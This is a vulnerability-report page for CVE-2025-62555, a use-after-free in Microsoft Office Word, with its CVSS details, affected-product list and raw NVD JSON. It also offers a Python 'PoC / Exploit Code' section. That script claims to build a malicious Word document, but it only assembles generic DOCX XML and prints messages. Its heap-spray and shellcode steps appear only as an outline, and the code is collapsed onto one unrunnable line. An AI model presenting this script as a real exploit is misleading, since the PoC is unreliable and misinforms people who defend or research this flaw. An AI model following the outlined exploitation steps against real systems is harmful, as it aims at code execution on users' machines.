Security Vulnerability Report
中文
CVE-2025-62555 CVSS 7.0 HIGH

CVE-2025-62555

Published: 2025-12-09 18:16:01
Last Modified: 2025-12-10 18:32:58

Description

Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Word 2016 及之前版本
Microsoft Office Word 2019
Microsoft 365 Apps for Enterprise
Office 2021 LTSC

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62555 PoC - Microsoft Office Word Use-After-Free # This PoC demonstrates the vulnerability structure # Note: Actual exploitation requires specific memory manipulation import struct def create_malicious_doc(): """Generate a malicious Word document that triggers UAF""" # DOCX file structure (minimal representation) doc_header = b'PK\x03\x04' # ZIP/DOCX signature # Content_Types.xml content_types = b'''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types>''' # Malicious document.xml with UAF trigger # The actual UAF condition depends on specific Word version and object handling document_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>UAF Trigger Document - CVE-2025-62555</w:t> </w:r> </w:p> <!-- Specific malformed XML to trigger object reuse vulnerability --> <w:sdt> <w:sdtPr> <w:tag w:val="UAF_OBJ"/> </w:sdtPr> </w:sdt> </w:body> </w:document>''' # Relationships rels = b'''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships>''' return { 'header': doc_header, 'content_types': content_types, 'document': document_xml, 'relationships': rels } def exploit_uaf(): """ Conceptual exploitation steps: 1. Create malicious DOCX with trigger payload 2. Use heap spraying to control freed memory 3. Trigger UAF condition through specific document parsing 4. Hijack execution flow via controlled memory 5. Execute shellcode in Word process context """ print("[+] Creating malicious document for CVE-2025-62555") doc = create_malicious_doc() print("[+] Document structure prepared") print("[!] Note: Actual exploitation requires specific Word version and memory conditions") return doc if __name__ == "__main__": exploit_uaf()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62555", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:00.790", "lastModified": "2025-12-10T18:32:58.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Word allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "E1FE9E95-4874-46EF-AC93-9E485F7A2AC0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:word:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "38479B5D-66F9-4260-A18A-F6E3D9B6991E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62555", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}